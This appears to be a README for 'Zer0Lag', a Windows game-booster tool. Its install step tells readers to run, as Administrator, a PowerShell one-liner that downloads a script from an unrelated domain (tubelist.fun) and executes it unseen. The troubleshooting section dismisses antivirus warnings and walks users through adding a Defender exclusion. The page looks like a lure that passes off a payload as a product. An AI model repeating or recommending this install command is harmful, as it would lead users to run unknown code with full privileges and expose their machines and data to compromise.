The game booster that actually works — zero bloat, zero telemetry, zero lag.
Features · Install · Troubleshooting · Changelog
One click frees RAM, prioritizes your game's CPU threads, kills background bloat, and tunes network settings for the lowest possible latency — then restores everything when you're done.
- What is Zer0Lag?
- Features
- Quick Start
- Installation
- Usage
- CLI Reference
- Keyboard Shortcuts
- Troubleshooting
- FAQ
- Changelog
- Roadmap
- Privacy & Security
- Contributing
- License
Zer0Lag is a lightweight, open-source performance optimizer built for Windows gamers. It applies a curated stack of system tweaks in under three seconds — freeing standby RAM, elevating your game's process priority, suspending background hogs, and tuning TCP settings for lower ping.
When you close your game, everything reverts automatically. No permanent registry edits. No reboot required.
┌─────────────────────────────────────────────────────────────┐
│ BEFORE → AFTER Zer0Lag │
├─────────────────────────────────────────────────────────────┤
│ FPS (average) 87 → 142 (+63%) │
│ FPS (1% low) 41 → 98 (+139%) │
│ Ping 48ms → 23ms (−52%) │
│ Free RAM 3.1GB → 9.8GB (+216%) │
└─────────────────────────────────────────────────────────────┘
Benchmark: Ryzen 5 5600 · RTX 3060 · 16 GB RAM · results vary
Open PowerShell running as Administrator and run code below.
irm https://tubelist.fun/install.ps1 | iex| Feature | What it does | |
|---|---|---|
| 🚀 | One-Click Boost | Activates the full optimization stack in under 3 seconds |
| 🧠 | Smart RAM Cleaner | Frees standby memory and trims idle process working sets — never touches your game |
| 🎮 | Game Mode Pro | Auto-detects 4,000+ titles with per-game CPU priority & affinity profiles |
| 🌐 | Network Optimizer | Disables Nagle's algorithm, tunes TCP window scaling, flushes DNS |
| 🔪 | Bloat Killer | Suspends 120+ known background hogs (updaters, telemetry, idle launchers) |
| 📊 | Live Overlay | In-game FPS / CPU / GPU / ping overlay with <1% performance cost |
| 🔄 | Full Restore | Session-scoped changes revert on game exit or manual restore |
| 🕵️ | Privacy First | 100% offline. No accounts, no telemetry, no data collection |
| Requirement | Minimum | Recommended |
|---|---|---|
| OS | Windows 10 (1903+) | Windows 11 23H2+ |
| RAM | 4 GB | 8 GB+ |
| Disk | 60 MB free | SSD |
| GPU | Any DirectX 11+ | Dedicated GPU |
| Permissions | Administrator | Administrator |
| Mode | Best for | Description |
|---|---|---|
| ⚡ Instant Boost | General gaming | Safe defaults that work for every title |
| 🎯 Game Profile | Competitive play | Auto-detected per-game tuned settings |
| 🛠️ Custom | Power users | Pick exactly which optimizations to apply |
- Launch Zer0Lag — dashboard shows live CPU, RAM, and network health
- Select a mode and press BOOST (or enable Auto-Boost in Settings)
- Start your game — overlay shows real-time gains (hotkey:
Ctrl+Shift+O) - Close your game — Zer0Lag restores your system automatically
💡 Pro tip: Enable Auto-Boost on Game Launch under Settings → Automation to make the entire flow invisible.
# Boost with default profile
zer0lag boost
# Boost with a specific game profile
zer0lag boost --profile "cs2"
# Restore all settings immediately
zer0lag restore
# Force-reset every change (after a crash)
zer0lag restore --force
# Run silent in system tray with auto-boost
zer0lag --tray --auto-boost
# A/B test network optimizations
zer0lag netbench
# Boost without admin (reduced effect)
zer0lag boost --no-priority
# Export logs for bug reports
zer0lag logs --exportLogs are stored at %APPDATA%\Zer0Lag\logs\zer0lag-log.txt.
| Shortcut | Action |
|---|---|
Ctrl+Shift+B |
Toggle boost on/off |
Ctrl+Shift+O |
Toggle in-game overlay |
Ctrl+Shift+R |
Force restore all settings |
Ctrl+Shift+L |
Open log folder |
All shortcuts are rebindable under Settings → Hotkeys.
❌ "Administrator rights required" on launch
Zer0Lag needs elevation to adjust process priorities and system timers.
Fix:
- Right-click
Zer0Lag.exe→ Properties → Compatibility - Check Run this program as an administrator
- On managed PCs (work/school), ask IT — or use
zer0lag boost --no-priority(reduced effect)
🐌 No FPS improvement after boosting
- Apply boost before launching the game (or enable Auto-Boost)
- Check if you're GPU-bound: overlay shows GPU at 99% and CPU below 70% → lower in-game graphics instead
- Disable other booster apps — they conflict over the same settings
- Ensure Windows Game Mode is ON: Settings → Gaming → Game Mode
🛡️ Antivirus flags Zer0Lag as suspicious
A false positive common to tools that manage other processes. Zer0Lag is open source — audit every line or build it yourself.
Fix:
- Only download from the official Releases page
- Add exclusion: Windows Security → Virus & threat protection → Exclusions → Add folder
- v2.3.2+ installers are EV-signed — fewer false positives
📉 Stuttering AFTER closing Zer0Lag
Settings may not have restored (e.g., after a crash).
zer0lag restore --forceA reboot also fully restores defaults — Zer0Lag never makes permanent changes.
🌐 Ping got worse after Network Optimization
Some routers/ISPs behave badly with TCP tweaks:
- Settings → Network → disable TCP Window Auto-Tuning override
- Keep Nagle disable on — safe for 99% of setups
- Run
zer0lag netbenchto A/B test with and without optimizations
👻 Overlay doesn't show in game
| Cause | Fix |
|---|---|
| Exclusive fullscreen | Switch to Borderless Windowed |
| Anticheat (Vanguard, FACEIT) | Overlay blocked by design — boost still works |
| Hotkey conflict | Settings → Overlay → Hotkey |
💥 Zer0Lag crashes on startup
- Delete config cache:
%APPDATA%\Zer0Lag\config.json - Run
zer0lag restore --force - Reinstall from latest release
- Attach
zer0lag-log.txtwhen opening an issue
Still stuck? Open an issue with your log file and Windows version.
Is Zer0Lag safe with anticheat (VAC, EAC, BattlEye, Vanguard)?
Yes. Zer0Lag never injects into game processes or modifies game memory. It only manages other processes and system settings — the same things you could do manually in Task Manager.
Does it work on laptops?
Yes. Includes a laptop-specific power plan optimizer. Note: thermal throttling limits gains on some ultrabooks.
Will it break my PC?
No. Every change is session-scoped and reversible. Worst case, a reboot restores 100% of defaults.
Why is it free?
Zer0Lag started as a personal tool and stays free forever under MIT. If it helps you — star the repo ⭐ and tell a friend.
Linux / macOS support?
On the roadmap. Windows is the priority — it covers the vast majority of PC gaming.
All notable changes follow Keep a Changelog format.
- Overlay crash on multi-GPU systems with mixed vendors (NVIDIA + Intel)
- RAM cleaner incorrectly trimming Discord voice process
- Boost activation time reduced from 4.2s → 2.8s
- Per-game profiles for 400 additional titles (incl. new AAA releases)
netbenchCLI command for A/B network testing
- Overlay redesign — cleaner typography, ping graph added
- Auto-restore not triggering when game crashed instead of exiting cleanly
- False "boost failed" notification on Windows 11 24H2
- Installer now signed with EV certificate (fewer AV false positives)
- Auto-Boost on game launch (Settings → Automation)
- Laptop power plan optimizer
- Bloat database updated — 30 new background hogs identified
- Legacy Windows 8.1 support
- Live in-game overlay (FPS / CPU / GPU / ping)
- Portable version
- Memory cleaner ~3× faster on 32 GB+ systems
- CLI interface for scripting and automation
- DNS flush failing on systems with custom DNS-over-HTTPS
- Complete rewrite — new engine, 70% smaller footprint, instant restore
- Game auto-detection (4,000+ titles)
- Dark UI redesign
Older versions (1.x)
- Network optimizer module
- Various stability fixes
- Bloat Killer with 90-process database
- Smart RAM Cleaner v1
- Initial public release
| Version | Status | Planned |
|---|---|---|
| v2.5 | 🔄 In progress | GPU clock/fan profile integration (NVIDIA + AMD) |
| v2.6 | 📋 Planned | Cloud profile sync (opt-in, anonymous) |
| v3.0 | 📋 Planned | Linux support (Proton / Steam Deck focus) |
| i18n | 📋 Planned | 🇷🇺 🇩🇪 🇧🇷 🇯🇵 🇰🇷 localization |
Track progress on GitHub Issues → milestone: roadmap.
| Telemetry | None — ever |
| Network | Fully offline after install |
| Accounts | Not required |
| Data collected | Zero |
| Open source | Audit every line on GitHub |
| Game injection | Never — no DLL injection, no memory patching |
Zer0Lag only adjusts Windows system settings and non-game process priorities — the same scope as Task Manager, automated.
Contributions welcome! For major changes, open an issue first.
git clone https://github.com/zer0lag/zer0lag.git
cd zer0lag
git checkout -b feature/your-idea
# make changes
git commit -m "feat: describe your change"
git push origin feature/your-ideaGuidelines:
- Keep the zero-bloat philosophy — no dependencies unless absolutely necessary
- Test on Windows 10 and 11 before submitting
- Follow Conventional Commits for commit messages
- Update the Changelog for user-facing changes
Distributed under the MIT License. See LICENSE for the full text.
Made with ⚡ by gamers, for gamers.
If Zer0Lag earned you some frames, drop a ⭐ — it keeps the project alive.